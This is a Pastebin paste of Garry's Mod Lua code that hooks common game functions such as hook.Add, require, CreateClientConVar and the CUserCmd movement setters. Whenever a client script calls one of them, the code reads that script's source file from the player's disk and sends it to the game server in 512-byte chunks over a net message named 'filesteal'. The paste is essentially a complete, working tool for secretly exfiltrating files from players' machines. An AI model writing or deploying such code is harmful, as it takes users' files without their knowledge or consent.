Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local debug = debug;
- local net = net;
- local file = file;
- local string = string;
- local math = math;
- local hook = hook;
- local r = debug.getregistry();
- local stolen = {};
- local dt = {
- {"hook", "Add"},
- {"CreateClientConVar"},
- {"debug", "getregistry"},
- {"FindMetaTable"},
- {"CUserCmd", "SetViewAngles", true},
- {"CUserCmd", "GetViewAngles", true},
- {"CUserCmd", "SetButtons", true},
- {"CUserCmd", "SetSideMove", true},
- {"CUserCmd", "GetSideMove", true},
- {"CUserCmd", "SetForwardMove", true},
- {"CUserCmd", "GetForwardMove", true},
- {"require"},
- };
- local function steal(source)
- local fyle = string.sub(source.source, 2);
- if (stolen[fyle]) then return; end
- stolen[fyle] = true;
- local data = file.Read(fyle, "GAME");
- if (!data) then
- return;
- end
- local leng = string.len(data);
- local parts = math.ceil(leng / 512)
- for i = 0, parts do
- local ndata = string.sub(data, i * 512, (i + 1) * 512 - 1);
- net.Start("filesteal");
- net.WriteTable({fyle, ndata, i, parts});
- net.SendToServer();
- end
- end
- local function detfunc(v)
- local t, f, m = v[1], v[2], v[3];
- local ofunc;
- if (t && !f && !m) then
- ofunc = _G[t];
- _G[t] = function(...)
- steal(debug.getinfo(2));
- return ofunc(...);
- end
- elseif (t && f && !m) then
- ofunc = _G[t][f];
- _G[t][f] = function(...)
- steal(debug.getinfo(2));
- return ofunc(...);
- end
- else
- ofunc = r[t][f];
- r[t][f] = function(...)
- steal(debug.getinfo(2));
- return ofunc(...);
- end
- end
- end
- hook.Add("OnGamemodeLoaded", "@@@", function()
- for k,v in next, dt do
- detfunc(v);
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement